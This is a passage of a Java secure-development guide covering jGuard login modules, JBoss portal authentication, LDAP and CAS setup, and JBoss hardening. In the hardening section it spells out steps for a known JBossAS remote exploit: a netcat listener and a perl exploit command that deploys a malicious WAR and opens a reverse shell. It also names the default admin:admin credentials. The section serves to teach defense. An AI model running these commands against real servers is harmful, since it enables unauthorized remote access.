<value>ldap://168.12.45.88:389</value></option><option><name>auth.java.naming.security.authentication</name><value>simple</value></option><option><name>auth.java.naming.security.authentication</name><value>simple</value></option><option><name>com.sun.jndi.ldap.connect.pool</name><value>true</value></option><option><name>com.sun.jndi.ldap.connect.pool.prefsize</name><value>5</value></option><option><name>contextforcommit</name><value>false</value></option><option><name>auth.userDN</name><value>{0}</value></option></loginModuleOptions></loginModule>

4.3.3.2.5. Certificate-based LoginModulesjGuard looks into the X509 Certificate provided by the user and checks against the Certificate Authority its validity(with the loginMoules described below). When the certicate is valid, jGuard uses the informations present in it topopulate the javax.security.auth.Subject.

Note

jGuard only handle the first certificate provided by the user (theorically, a user can provide multiple certificates at thesame time).

unique ID

If the certificate field subjectUniqueID is present in the certificate, jGuard create a credentialcalled uniqueID in the javax.security.auth.Subject. this field is OPTIONAL in the certificate. jGuard usethe method getSubjectUniqueIDfrom the class java.security.cert.X509Certificate to grab thisinformation.

alternative names

if a SubjectAltName extension is present in the certificate, jGuard grab the subject alternatives nameswith the method getSubjectAlternativeNames, and create for each alternative name a credential withthe namealternativeName#aSequenceNumber . SubjectAltName extension in certificate is OPTIONAL.

X500 principal

Page 65: Java secure development   part 3

554 | P a g e

jguard grab a principal object from the field subject in the certificate, with themethod getSubjectX500Principal method,and put it into the Principals set of the Subject.Important: this field in the certificate is REQUIRED.

When you use the JdbcLoginmodule (or XmlLoginModule) in conjunction with a certificate-related loginModule, jGuard will check this value against the value of the credential called 'login'.

4.3.3.2.5.1. what about certificate informations and other LoginModules?

you can use other loginModules like XMLLoginModule and JdbcLoginmodule in collaborationwith CRLLoginModule or OCSPLoginModule. in others authentication schemes, i.eFORM,BASIC, orDIGEST, theuser actively send its login and password informations. These informations are usedby XMLLoginModule or JdbcLoginmodule to check if the user eixsts and if its password is valid. after this step, itpopulates the Subject with some informations from the Datasource (XML or Database). with CLIENT-CERT authentication, the mechanism is in the same way. the only difference is that the user automatically send itslogin and other information with its certificate. No password are required, because some powerful cryptographicmechanisms check the validity of the certificate. so, when the user transmit its certificate, jGuard populate theSubject with a X500Principal object. jGuard use the String returned by the getName method ofthe X500Principalstored in the Subject as the login information.

4.3.3.2.5.2. what precise informations are required in the X509 certificate?

to summarize, the only information required in the certificate is the 'subject' field. the value of 'subject' field shouldbe a 'distinguished name' (DN), compliant with the RFC 2253. to have more informations on certificatestructure(which fields can be inserted), you can look towards theRFC 2459.

4.3.3.2.6. CRLLoginModule

4.3.3.2.6.1. description

This loginModule permits an authentication based on X509 certificates: it validates theircertPath, and checks if someof them are revoked against a CRL (Certificate Revocation List) which lists certificates that has been revoked bytheCertificate Authority (CA) before their scheduled expiration date.

Note this certificate validation mechanism is not based on real-time mechanism: the accuracy of this mechanism isbased on the CRL generation frequency of the Certificate Authority. If you authenticate successfully a user, but theCRL used to check it is too old, you will have a security threat.

4.3.3.2.6.2. parameters

These parameters comes from the PKIXParameters java class: parameters description comes from the JDK's javadoc.

debug

This optional parameter, when set to true, activate the debug mode (provide more logs to detect easilymisconfiguration).

certPathAnyPolicyInhibited

Sets state to determine if the any policy OID should be processed if it is included in a certificate. canbe true or false, and default value is false if not set.

certPathExplicitPolicyRequired

If this flag istrue, an acceptable policy needs to be explicitly identified in every certificate. default valueis false.

Page 66: Java secure development   part 3

555 | P a g e

certPathPolicyMappingInhibited

If this flag istrue, policy mapping is inhibited. default value is false.

certPathPolicyQualifiersRejected

If this flag istrue, certificates that include policy qualifiers in a certificate policies extension that ismarked critical are rejected. If the flag isfalse, certificates are not rejected on this basis.Applications thatwant to use a more sophisticated policy must set this flag tofalse.Default value is true.

Note that the PKIX certification path validation algorithm specifies that any policy qualifier in a certificatepolicies extension that is marked critical must be processed and validated. Otherwise the certification pathmust be rejected. If the policyQualifiersRejected flag is set to false, it is up to the application to validate allpolicy qualifiers in this manner in order to be PKIX compliant.

certPathRevocationEnabled

If this flag istrue, the default revocation checking mechanism of the underlying PKIX service provider will beused. If this flag isfalse, the default revocation checking mechanism will be disabled (not used).When aPKIXParameters object is created, this flag is set totrue. This setting reflects the most common strategy forchecking revocation, since each service provider must support revocation checking to be PKIX compliant.Sophisticated applications should set this flag to false when it is not practical to use a PKIX serviceprovider's default revocation checking mechanism or when an alternative revocation checking mechanism isto be substituted.Default value istrue.

certPathSigProvider

Sets the signature provider's name. The specified provider will be preferred when creating Signatureobjects. If null or not set, the first provider found supporting the algorithm will be used.

certPathCrlPath

if this value is defined, it grabs the CRL from a file and add it to the CRLs collection. the value is a system-dependent fileName.

certPathUrlCrlPath

if this value is defined, it grabs the CRL from an HTTP URL and add it to the CRLs collection.

trustedCaCertsDirPath

this directory path must contain Trusted certificates to buildTrust Anchors.

securityProvider

a security provider class name to use. default valueis org.bouncycastle.jce.provider.BouncyCastleProvider.

certPathCertStoreType

define from which source the certstore will retrieve certificates and CRLs. value can be LDAP or Collection.

certPathLdapServerName

server name used to grab certificates and CRLS for the certstore.default value is localhost.

certPathLdapServerPort

server port used to grab certificates and CRLS for the certstore. default value is 389.

javax.net.ssl.trustStore

file path of thetrustStore.

Page 67: Java secure development   part 3

556 | P a g e

javax.net.ssl.trustStorePassword

password protecting access to TrustStore data present in the file.

keyStorePath

file path of thekeyStore.

keyStorePassword

password protecting access to keyStore data present in the file.

keyStoreType

Valid types can be those returned bythe java.security.Security.getAlgorithms("KeyStore") attribute(JKS,JCEKS,PKCS12, PKCS11 (Java cryptodevice),CMSKS, JCERACFKS ...)

4.3.3.2.7. OCSPLoginModule

4.3.3.2.7.1. description

This loginModule permits an authentication for your web application based on X509 certificates: it validatestheir certPath, and checks if some of them are revoked against a OCSP mechanism. this mechanism permits real-timecertificate revocation check.

4.3.3.2.7.2. parameters

ocspServerURL

URL of the server which rpovide OCSP validation service .this parameter is mandatory.

IssuerCACertLocation

location of the certificate of the issuer Certificate Authority.

OcspSignerCertLocation

location of the certificate of the OCSP signer.

4.3.3.2.7.3. OCSPLoginModule declaration

Example 4.4. configuration of OCSPLoginModule into a fragment of jGuardAuthentication.xml

<loginModule><name>net.sf.jguard.ext.authentication.loginmodules.OCSPLoginModule</name><flag>REQUIRED</flag><loginModuleOptions><option><name>debug</name><value>true</value></option><option><name>ocspServerURL</name><value>http://127.0.0.1:8080/ejbca/publicweb/status/ocsp</value></option><option><name>IssuerCACertLocation</name><value>/home/user/certificates/AdminCA1.der</value>

Page 68: Java secure development   part 3

557 | P a g e

</option><option><name>OcspSignerCertLocation</name><value>/home/user/certificates/AdminCA1.der</value></option></loginModuleOptions></loginModule>

4.3.3.2.8. JCaptchaLoginModule4.3.3.2.8.1. descriptionsince jGuard0.80, this loginModule permits to validate a user against a CAPTCHA (Completely Automated PublicTuring test to tell Computers and Humans Apart), to determine if the user is human or not.

4.3.3.2.8.2. generate the Captchato use this loginModule, you need firstly to insert in your login page, this kind of code to generate an imagecontaining the challenge:

<img id="captcha" src="<html:rewrite action='/Captcha.do'/>" />

note this code is used with the Struts framework, because we use the html:rewrite taglib to generate the url to accessto the Captcha Action which will generate the image. but you can use any framework to do the same thing. to permitthe user to answer to the challenge, you need also to insert in your login form, the related fields:

<div><label for="captchaAnswer">captchaAnswer(required)</label><input id="captchaAnswer" type="text" value="" size="30" name="captchaAnswer"tabindex="3" /></div>

4.3.3.2.8.3. validate the Captcha

to use this loginMoule, you need to insert in your JGuardConfiguration.xml file, this declaration:

<loginModule><name>net.sf.jguard.authentication.loginmodules.JCaptchaLoginModule</name><flag>REQUIRED</flag></loginModule>

note that you can use other flags,depending on your needs.

4.3.3.2.8.4. Captcha library used

this loginModule use to generate and validate the Captcha, the JCaptcha open source library. Note that the archiveshipped with the distribution is not the last release; we use only the JCaptcha 1.0 RC2 release: since the release1.0

Page 69: Java secure development   part 3

558 | P a g e

RC3, the JCaptcha project has changed its licence from LGPL to GPL, which prevents us to ship it with jGuard (licensedunder theLGPL). But we've tested jGuard with JCaptcha 1.0 RC3 or higher successfully, so we advice you to use thisJCaptcha release if you accept that your application will be under the GPL umbrella.

JCaptcha team has produced other releases under the LGPL licence.So, you can use thesereleases with jGuard, but be aware that JCaptcha need a Java 5 or higher JVM to work.

4.3.3.2.8.5. CAPTCHA example

Example 4.5. CAPTCHA example generated with JCaptcha

4.3.3.2.9. implements your own loginModuleyou can add your own loginModule on the authentication loginModules list. To do it, you have to implementsthe javax.security.auth.spi.LoginModule interface.

to authenticate a user against a store shipped with an AuthenticationManager, you have to inheritfrom net.sf.jguard.core.authentication.loginmodules.UserLoginModule.

4.3.4. javax.security.auth.login.Configurationthis class defines which loginModules are involved in the authentication process, for a defined application (identifiedby its name). Each application has its own loginModules stack. With some special keywords to customize themechanism.

4.3.5. javax.security.auth.SubjectObject resulting from a successful authentication. it represents a "real" entity like a user, a machine, and so on.... itcontains some Principals and some credentials present in relative Sets.

Principals are often considered as Identities (one user can have more than one identity) or roles.

Credentials are user's attributes specific to him. it can be a first name, a credit card number, a birth date....

credentials are present either in a public credential Set or a private credential set (access to them isprotected by a PrivateCredentialPermission).

User Security and Access Control in JBoss portals

Page 70: Java secure development   part 3

559 | P a g e

Authentication

Authentication in JBoss portal builds on the JEE security provided by the JBoss server. The JEE specification definesthe roles and constraints under which certain URLs and components are protected. However, this might not alwaysbe sufficient for building enterprise applications or portals. Application server providers such as JBoss supplement theauthentication and authorization features provided by the JEE specification with additional features such as role-to-group mapping and session logout.

Authentication in JBoss portal can be divided into configuration files and portal server configuration.

The jboss-portal.sar/portal-server.war file is the portal deployment on the JBoss application server. Assuming that theportal server is like any JEE application deployed on an application server, all user authentication configurations gointo the WEB-INF/web.xml and the WEB-INF/jboss-web.xml files.

1. The WEB-INF/web.xml entry defines the authentication mode, with the default being form-based

authentication. This file is also used to define the login and error pages, as defined by the JEE

specification.

2. The default security domain defined by the JBoss application server is java:/jaas/portal for JBoss portal.

The security domain maps the JEE security constructs to the operational domain. This is defined in a

proprietary file, WEB-INF/jboss-web.xml. The portal security domain authentication stack is defined in

the jboss-portal.sar/conf/login-config.xml file, and is deployed along with the portal. Login-

config.xml houses the JAAS modules for authentication. Custom modules can be written and added here

to support special scenarios. The server provides a defined set of JAAS login modules that can be used

for various scenarios. For example, theIdentityLoginModule is used for authentication based on local

portal data,SynchronizingLdapLoginModule for authentication using LDAP,

and DBIdentityLoginModule for authentication using a database.

Within the jboss-portal.sar/portal-server.war application, all portal requests are routed through a single servletcalled org.jboss.portal.server.servlet.PortalServlet. This servlet is defined twice, as follows, in the configurationfile WEB-INF/web.xml to ensure that all possible request sources are covered:

PortalServletWithPathMapping for path mappings

PortalServletWithDefaultServletMapping for the default servlet mappingThe servlet is mapped four times with variations to address a combination of secure SSL accessand authenticated URLs, as follows:

/*: Default access, and with no security constraint, allows access to everybody

/sec/*: All requests to a secure protocol are routed through this path, ensuring SSL transport

/auth/*: Authenticated access. Requires user to be authenticated before accessing the content under this tree

/authsec/*: An authenticated and secure access

Page 71: Java secure development   part 3

560 | P a g e

The following snippet from web.xml shows the entries:

<!-- Provide access to unauthenticated users --><servlet-mapping><servlet-name>PortalServletWithPathMapping</servlet-name><url-pattern>/*</url-pattern></servlet-mapping><!-- Provide secure access to unauthenticated users --><servlet-mapping><servlet-name>PortalServletWithPathMapping</servlet-name><url-pattern>/sec/*</url-pattern></servlet-mapping><!-- Provide access to authenticated users --><servlet-mapping><servlet-name>PortalServletWithPathMapping</servlet-name><url-pattern>/auth/*</url-pattern></servlet-mapping><!-- Provide secure access to authenticated users --><servlet-mapping><servlet-name>PortalServletWithPathMapping</servlet-name><url-pattern>/authsec/*</url-pattern></servlet-mapping>

The URL patterns can be changed based on personal preference.

Authorization

Authorization is the process of determining if an authenticated user has access to a particular resource. Similar toauthentication, JBoss portal provides in-built support for authorization, through Java Authorization Contract forContainers(JACC). JACC is a JSR-115 specification for the authorization models of the Java2 and JEE enterpriseplatforms. In the next few sections, we will look at how JBoss portal facilitates authorization using JACC. However,before we go into the details of access controls and authorization configurations, let's quickly look at how roles areconfigured in JBoss Portal.

User and role managementA role is an authorization construct that denotes the group that a user of the portal belongs to. Typically, roles areused to determine the access rights and the extent of these rights for a given resource. We saw in an earlier sectionhow to configured portal assets such as, portals, pages, and portlet instances, to restrict certain actions to specificroles. We used a role called SPECIAL_USER for our examples. However, we never really defined what this role meansto JBoss portal.

Let's use the JBoss portal server console to register this role with the server.

Page 72: Java secure development   part 3

561 | P a g e

Log in as admin, and then click on the Members tab. This takes us to the User Management and RoleManagement tabs.

The User Management tab is used for creating new users. We will come back to this shortly, but for now, let's switchover to the Role Management tab and click on the Create role link on the bottom right of the page. We can now addour SPECIAL_USER role and provide a display name for it. Once we submit it, the role will be registered with theportal server.

Page 73: Java secure development   part 3

562 | P a g e

As we will see later, every attempt by an authenticated user to access a resource that has security constraints througha specific role will be matched by the portal before granting or denying access to the resource.

Users can be added to a role by using the User Management tab. Each user has a role property assigned, and this canbe edited to check all of the roles that we want the user to belong to. We can see that for the user User, we now havean option to add the user to the Special User role.

The portal permissionA permission object carries the relevant permission for a given entity.Theorg.jboss.portal.security.PortalPermission object is used to describe permission for the portal. Like all the otherentity-specific permission classes, it extends the java.security.Permission class, and any permission checked in theportal should extend the PortalPermission as well. Two additional fields of significance are as follows:

1. uri: A string that specifies the URI of the resource that is described by the permission

2. collection: An object of class org.jboss.portal.security.PortalPermissionCollection, which is used when the

permission acts as a container for other permissions

The authorization providerThe authorization provider is a generic interface of thetypeorg.jboss.portal.security.spi.provider.AuthorizationDomain, and provides access to several services.

public interface AuthorizationDomain{String getType();DomainConfigurator getConfigurator();PermissionRepository getPermissionRepository();PermissionFactory getPermissionFactory();}

Let us look into these classes a bit more in detail:

Page 74: Java secure development   part 3

563 | P a g e

org.jboss.portal.security.spi.provider.DomainConfigurator provides configuration access to an authorization

domain. The authorization schema consists of bindings between URIs, roles, and permissions.

org.jboss.portal.security.spi.provider.PermissionRepository provides runtime access to the authorization domain. It

is used to retrieve the permissions for a specific role and URI. It is used at runtime by the framework, to take

security decisions.

org.jboss.portal.security.spi.provider.PermissionFactory is a factory to instantiate permissions for the specific

domain. It is used at runtime to create permission objects of the appropriate type by the security framework.

Making a programmatic security checkWith this understanding of the background of the configuration files and the appropriate authorization API, we arenow ready to make a programmatic security check. All we have to do is to create a permission of the correct type andcheck this against the org.jboss.portal.spi.auth.PortalAuthorizationManager service. This service is used internally byJBoss server and is connected to the various authorization providers, for a runtime decision based on the type ofpermission. Access to this service is throughorg.jboss.portal.spi.auth.PortalAuthorizationManagerFactory. The factoryis a portal service that is usually added to services as follows:

<?xml version="1.0" encoding="UTF-8"?><server>...<mbean code='MyService"name="portal:service=MyService"><dependsoptional-attribute-name="PortalAuthorizationManagerFactory"proxy-type="attribute">portal:service=PortalAuthorizationManagerFactory</depends>...</mbean>...</server>

It can be added to the servlet context of a WAR file in the WEB-INF/jboss-portlet.xml file, asfollows:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE portlet-app PUBLIC"-//JBoss Portal//DTD JBoss Portlet 3.0//EN""http://www.jboss.org/portal/dtd/jboss-portlet_3.0.dtd"><portlet-app>

Page 75: Java secure development   part 3

564 | P a g e

...<service><service-name>PortalAuthorizationManagerFactory</service-name><service-class>org.jboss.portal.security.spi.auth.PortalAuthorizationManagerFactory</service-class><service-ref>:service=PortalAuthorizationManagerFactory</service-ref></service>...</portlet-app>

Here is an example of how a security check is made for a specific page:

PortalAuthorizationManager pam = factory.getManager();PortalObjectId id = page.getId();PortalObjectPermission perm = new PortalObjectPermission(id,PortalObjectPermission.VIEW_MASK);if (pam.checkPermission(perm) == false){System.out.println("Current user is not authorized to view page " + id);}

Configuring an authorization domainConfiguring a domain can be done through the DomainConfigurator interface:

public interface DomainConfigurator{Set getSecurityBindings(String uri);void setSecurityBindings(String uri, Set securityBindings)throws SecurityConfigurationException;void removeSecurityBindings(String uri)throws SecurityConfigurationException;}

The various methods of this interface allow configuration of security bindings for a givenresource, where a resource is naturally identified by a URI.The org.jboss.portal.security.RoleSecurityBinding object is an object that encapsulates a rolename and a set of actions bound to this role.

RoleSecurityBinding binding1 = new RoleSecurityBinding(Collections.singleton("view"), "Admin");

RoleSecurityBinding binding2 = new RoleSecurityBinding(Collections.singleton("view"), "User");

Set bindings = new HashSet();

Page 76: Java secure development   part 3

565 | P a g e

bindings.add(binding1);

bindings.add(binding2);

configurator.setSecurityBinding(pageURI, bindings);

LDAP configuration

Light-weight Directory Access Protocol (LDAP) is an important component of an enterprise portal architecture. Dueto its specialized nature, it is usually the repository of all user information, including user IDs/passwords and roles.

LDAP support can be enabled through the following steps:

1. Configure LDAP properties on the server. LDAP can be configured in JBoss portal in two ways. We can

either change the IdentityServiceController section of the portal service configuration file jboss-

service.xml to point to a different identity file, or we can leave the configuration intact and change the

identity file.

Let's look at these options in detail:

Let's open the file $JBOSS_HOME/server/default/deploy/jboss-portal.sar/META-INF/jboss-service.xml.

Change the ConfigFile option to ldap-identity-config.xml; this file comes with the portal server and can befound in the conf/ directory.

<mbean

code="org.jboss.portal.identity.IdentityServiceControllerImpl"

name="portal:service=Module,type=IdentityServiceController"

xmbean-dd=""

xmbean-code="org.jboss.portal.jems.as.system.

JBossServiceModelMBean">

<xmbean/>

<depends>portal:service=Hibernate</depends>

<attribute name="JndiName">

java:/portal/IdentityServiceController

</attribute>

<attribute name="RegisterMBeans">true</attribute>

<attribute name="ConfigFile">

conf/identity/identity-config.xml

</attribute>

<attribute name="DefaultConfigFile">

conf/identity/standardidentity-config.xml

Page 77: Java secure development   part 3

566 | P a g e

</attribute>

</mbean>

Alternatively, we can swap the contents of the identity-config.xml and ldap_dentity-config.xml files.

2. Set up an LDAP Connection. After identifying the appropriate configuration file for identity

management, we can now configure LDAP properties and connections in the file, ldap_identity-

config.xml (or identity-config.xml, depending on the approach chosen above).

An LDAP tree appears as follows. It has clearly defined groups, users, and their names organized in a treeform. A typical LDAP interaction process involves connecting to the LDAP server and then looking up a userby using the tree structure.

Our configuration file to connect to the LDAP server will look like this:

<datasource>

<name>LDAP</name>

<config>

<option>

<name>host</name>

<value>localhost</value>

</option>

<option>

<name>port</name>

<value>10389</value>

</option>

<option>

Page 78: Java secure development   part 3

567 | P a g e

<name>adminDN</name>

<value> uid=admin,ou=system </value>

</option>

<option>

<name>adminPassword</name>

<value>abc123</value>

</option>

</config>

</datasource>

We are now connected to the LDAP server; all subsequent requests for authentication will now be routed to thisserver.

So, the user wpauli will have the following information stored for him in the LDAP tree. After authentication, we canalso get the other details of the user.

Apart from these, there are few other LDAP features provided by the server, such as connection pooling, SSL-basedaccess, tree management, and so on, that can facilitate a productive interaction with an LDAP server.

Single sign-onSingle Sign-On, or SSO, is a process in which the user logs into the system only once, and all his or her futureinteraction with any subsequent systems is seamless and doesn't require the user to be authenticated over and overagain for each system. Portlets within a portal server integrate seamlessly as the user credentials are transferred

Page 79: Java secure development   part 3

568 | P a g e

easily within the system, but the same is not true for systems that are outside of the portal server, on the intranet oron the Internet.

JBoss portal offers support for various SSO packages in the industry that help to provide seamless integrationbetween various functionalities and systems.

We will consider the Central Authentication Service (CAS) as our SSO provider, and we need to make sure that wehave both the server and client CAS binaries, along with the deployable WAR file, with us before we start theintegration. The binaries can be found on the CAS web site at http://www.ja-sig.org/products/cas/downloads/index.html.

The following steps walk us through the configuration and integration of CAS with JBoss portal server:

1. Open the cas.war file provided by the CAS project, and copy the portalidentity-lib.jar and portal-identity-

sso-lib.jar files. Please note that the WAR file can have a different name based on the release. Copy the

file from $JBOSS_HOME/server/default/deploy/jboss-

portal.sar/lib to$JBOSS_HOME/server/default/deploy/cas.war/WEB-INF/lib.

2. Uncomment the following entry in the file $JBOSS_HOME/server/default/deploy/jboss-portal.sar/portal-

server.war/WEB-INF/context.xml. This configures the login, logout, and validate pages when requests for

these actions are made on the portal.

<Valve

className="org.jboss.portal.identity.sso.cas.CASAuthenticationValve"

casLogin="https://localhost:8080/cas/login"

casLogout="https://localhost:8080/cas/logout"

casValidate="https://localhost:8080/cas-server-webapp-3.3.1/serviceValidate"

casServerName="localhost:8080"

authType="FORM"

/>

The ports and the server name should be changed based on the local configuration. Please note that CASrequires SSL to function effectively. Hence, it might be a good idea to enable SSL on the JBoss server. Youcan find more details at http://www.jboss.org/jbossas/docs/.

3. Add the casclient.jar library to the portal project. The client JAR can be found

athttp://repository.jboss.com/cas/3.0.7/lib/.

4. Uncomment the following lines in the $JBOSS_HOME/server/default/deploy/jboss-portal.sar/META-

INF/jboss-service.xml file. This notifies the portal server that all authentication-related requests need to

be directed to CAS.

Page 80: Java secure development   part 3

569 | P a g e

<mbean

code="org.jboss.portal.identity.sso.cas.CASAuthenticationService"

name="portal:service=Module,type=CASAuthenticationService"

xmbean-dd=""

xmbean-code="org.jboss.portal.jems.as.system.JBossServiceModelMBean">

<xmbean/>

<depends>

portal:service=Module,type=IdentityServiceController

</depends>

<attribute name="HavingRole"></attribute>

</mbean>

5. So far, we have been creating interfaces for use by CAS authenticationHandler. We will now create

the authenticationHandler instance in CAS, which will use the service that we created earlier in the JBoss

server. Edit the $JBOSS_HOME/server/default/deploy/cas.war/WEB-INF/deployerConfigContext.xml file,

and replace the following line in the authenticationHandlerssection:

<bean

class="org.jasig.cas.authentication.handler.support.SimpleTestUsernamePasswordAuthenticatio

nHandler" />

with the following line:

<bean class="org.jboss.portal.identity.sso.cas.CASAuthenticationHandler" />

A good test to verify the installation and configuration of CAS is to go to the portal home page and click onthe Login link. IF CAS is installed successfully, the Login page should now be a CAS authentication server login page,overriding the default JBoss portal login page.

Page 81: Java secure development   part 3

570 | P a g e

Once authenticated, CAS will hand over the control back to the application and pass the user credentials.

Page 82: Java secure development   part 3

571 | P a g e

Implementing security improvements in the JBossAS

The JBoss is an JAVA application server middle ware open-source based in the J2EE,since 2006 theJBoss Inc. was purchased for the RedHat Inc. It's a multi layer server who work as theinterfacebetween the clients, the databases and the information systems, facilitating theimplementation of theapplications in the corporate environments.Security holes are found in the applications development , deployment and publish theapplication onthe Internet, other serious problem is use of the obsoletes versions such 2.0, 3.0 e 4.0.The 5.1 and 6.0 are the current versions, although the 7.0 in beta phase.Difficultly we find corporations prepared keep a application upgrade cycle for costissues, as itbecomes more “cheap” keep your systems outdated as shows in the figure 1.I recommend the reading of the Secure Coding Guidelines[1] and the OWASP JavaSecurity[2] as asource of inspiration for the JAVA application secure development.Figure1 – Example of a portal available on the Internet using a JBossAS obsolete version.The JBoss internal infrastructure is a little bit complex, It has several modules such JMXConsole,RMI, MBeans among others. The figure 2 shows the JBoss internal structure.Figure 2 – Example of the internal structure

JMX ConsoleThe JMX console provides an internal view of the JBossAS microkernel. It showsregistered services(MBeans) that are actives in the application server and the can be accessed through it orJAVA code.Things to do with it:• Display the JNDI tree;• Generate a thread dump;• Display the memory pool usage;• Redeploy an application;• Shut down JBOSS.A several security issue is the default access control in the JMX Console, meaning thatmany sites arevulnerable on the internet. See an example in the figure 3

Page 83: Java secure development   part 3

572 | P a g e

Figure 3 – Find a site on the Internet with the JMX Console without access control is veryeasyThis type of access allows some actions like:• Shutdown the portal;• Deploy a malware;This issue allows a remote exploitation using the JBossAS Remote Exploit[3] written inperl followingthe steps:1. Open a session using the netcat (eg. nc -lp 4444);2. Execute the exploit (e.g perl jbossxpl hackme 8080 192.168.0.2 4444 lnx);3. Expect the exploit to deploy a malicious package war and create a reverse conection

Enabling JMX Console security in JBoss 5.0 and previous versions

The ease of the JBoss deployment allow that minimal configurations, this makes thesecurity is missed.Now I'll describe how to enable the basic security.1. Edit web.xml file located in the /opt/jboss-5.x.x/server/default/deploy/jmx-console.war/WEBINFdirectory removing the comments security contraist as in example below:<!-- A security constraint that restricts access to the HTML JMX consoleto users with the role JBossAdmin. Edit the roles to what you want anduncomment the WEB-INF/jboss-web.xml/security-domain element to enablesecured access to the HTML JMX console. --><security-constraint><web-resource-collection><web-resource-name>HtmlAdaptor</web-resource-name><description>An example security config that only allows users with therole JBossAdmin to access the HTML JMX console web application</description><url-pattern>/*</url-pattern><http-method>GET</http-method><http-method>POST</http-method></web-resource-collection><auth-constraint><role-name>JBossAdmin</role-name></auth-constraint></security-constraint>2. Edit the jboss-web.xml file located in the same directory, removing the commentblock

Page 84: Java secure development   part 3

573 | P a g e

<!-- Uncomment the security-domain to enable security. You willneed to edit the htmladaptor login configuration to setup thelogin modules used to authentication users. --><security-domain>java:/jaas/jmx-console</security-domain></jboss-web>3. Access the /opt/jboss-5.x.x/server/default/conf/props directory and edit the jmx-consoleusers.properties file, it contains the username and password for the JMX Console.

3. Restart the JBoss and test the JMX Console access.

Enabling the JMX Invokers security in all JBoss versionsThe JMX invokers are input points of the Mbean server. The external access controlshould beactivated to prevent unauthorized access.Edit the jmx-invoker-service.xml file located in the /opt/jboss-5.x.x/server/default/deploy/ directory:<operation><description>The detached invoker entry point</description><name>invoke</name><parameter><description>The method invocation context</description><name>invocation</name><type>org.jboss.invocation.Invocation</type></parameter><return-type>java.lang.Object</return-type><!-- Uncomment to require authenticated users --><descriptors><interceptors><interceptor code="org.jboss.jmx.connector.invoker.AuthenticationInterceptor"securityDomain="java:/jaas/jmx-console"/></interceptors></descriptors></operation>Edit the login-config.xml file located in the /opt/jboss-5.x.x/server/default/conf/directory adding theusername and password.

Enabling the JMX Console security in JBoss 6.0The 6.0 release bring minor security improvement.The Admin Console request aauthentication but the

Page 85: Java secure development   part 3

574 | P a g e

defaults credentials ( admin:admin ) need to be modified, by default the JMX Consoleremains withoutaccess control.The Admin Console credentials are the same that the JMX Console.For enable the JMX Console autentication edit the jmx-jboss-beans.xml file located in/opt/jboss-6..x.x/server/default/deploy directory:<!-- To enable authentication security checks, uncomment the following security domainname --><!--UNCOMMENT THIS --><property name="securityDomain">jmx-console</property>Edit the jmx-console-users.properties file located in /opt/jboss-6..x.x/server/

Securing the server for production environments

Securing the JBPM ConsoleTwo distinct jbpm-console.war files are shipped with the platform. One is a development version which allows

unauthenticated access to deploy processes to the server, for use with a graphical process design tool such as JBoss

Developer Studio while developing applications. The other is a production version which secures the console against

remote deployment. You should not run your server in a production environment with the unsecured development

version of jbpm-console.war deployed. Doing so poses a threat to the security of your server.

Standalone version of JBoss Enterprise SOA PlatformIn the standalone version, we ship with the unsecured uploader console by default. Initially, your server is configured

for development. The jBPM JPDL will be able to deploy processes. Before putting it into production you should secure

the console.

Procedure 2.2. To secure the console in the standalone version

o Copy the file /tools/resources/jbpm-console-production.war to/server/default/deploy/jbpm.esb/jbpm-console.war.

Procedure 2.3. To enable remote deployment of processes in the standalone versiono Copy /tools/resources/jbpm-console-

development.war to/server/default/deploy/jbpm.esb/jbpm-console.war.

In each case the file must be overwritten. You can not have two versions of the war in the deployment directory.

Page 86: Java secure development   part 3

575 | P a g e

Embedded JBoss Enterprise Application Platform version of JBoss Enterprise SOA PlatformIn the embedded JBoss Enterprise Application Platform version, the "all" profile has the development version of

thewar, and the "production" profile has the production version. By default your server is configured to operate in a

secure mode. To enable it for development mode you need to run in the unsecured mode of operation.

Procedure 2.4. To secure the console in the embedded EAP versiono Start the server with no command line parameters or with the parameter "-c production"

Procedure 2.5. To enable remote deployment of processes in the embedded EAP versiono Start the server using the parameter "-c all"

We do not recommend running the server on an unsecured network with the jbpm-console-development.wardeployed or using the all profile without appropriate modification.

Preventing download of non-RMI classes on Port 8083 in the standalone version of the serverIf you use RMI (Remote Method Invocation) you will want to make Port 8083 of your server accessible to clients. The

EAP version of the server is configured out of the box to restrict the classes that it serves on this port. The standalone

server, however, is configured out of the box to serve all deployable classes via this port. This has been done to allow

the quickstarts to function correctly by default.

To change this behaviour you need to modify the following line in default/conf/jboss-service.xml:

<!-- Should non-EJB .class files be downloadable -->

<attribute name="DownloadServerClasses">false</attribute>

The value for this attribute is set as true out of the box, and it should be set to false in actual production deployment

to prevent the server from serving all deployable classes on Port 8083

Securing Web Services in JBoss Application Server with WS-Security

WS-Security is a specification from OASIS (Organization for the Advancement of StructuredInformation Standards, http://www.oasis-open.org) that describes enhancements to SOAPmessaging to provide message integrity and confidentiality. It provides mechanisms that can beused to accommodate a wide variety of security models and encryption technologies. You willuse WS-Security to encrypt the web message and sign it. You will do this in two steps, firstsecuring the web service and then adding authentication.

Page 87: Java secure development   part 3

576 | P a g e

For our example we use JBoss Web Services 2.0.x. JBoss Application Server 4.2.2 and the JBossApplication Server 5.0 beta and release candidate contain this version of JBoss Web Services.

First, you need a web service to secure. Listing 1 provides a simple POJO hello web service.

package org.jbia.ws;

import javax.jws.*;

@SOAPBinding(style=SOAPBinding.Style.RPC)

@WebService

public class Hello {@WebMethodpublic String sayHello(String name)return "Hello " + name;

}

Listing 1: A simple hello web service

You'll also need a web.xml, provided in listing 2.

<web-app><servlet>

<servlet-name>Hello</servlet-name><servlet-class>org.jbia.ws.Hello</servlet-class>

</servlet><servlet-mapping>

<servlet-name>Hello</servlet-name><url-pattern>/hello</url-pattern>

</servlet-mapping></web-app>

Listing 2: The web.xml file for the hello web service

Compile the web service, place it and the web.xml file into a WAR file, and put the WAR file intothe server/xxx/deploy directory, where xxx is the configuration directory name, such as default.Once the web service is deployed, you can generate the stubs required for the client by enteringthe following command:

<jboss_home>/bin/wsconsume

Page 88: Java secure development   part 3

577 | P a g e

–k http://localhost:8080/hello/hello?wsdl

The wsconsume utility places the stubs into a directory named output. Listing 3 provides a clientof that web service. Place the client source file in the output/org/jbia/ws directory.

package org.jbia.ws;

public class Client {

public static void main(String[] args) {

if (args.length > 0) {

HelloService svc = new HelloService();

Hello hello = svc.getHelloPort();

for (int i = 0; i < args.length; i++) {

System.out.println(hello.sayHello(args[i]));

}}}}

Listing 3: A client for the hello web service

Compile the client along with the Java source files generated by the wsconsume utility. Thentest the client by running the following command:

<jboss_home>/bin/wsrunclient

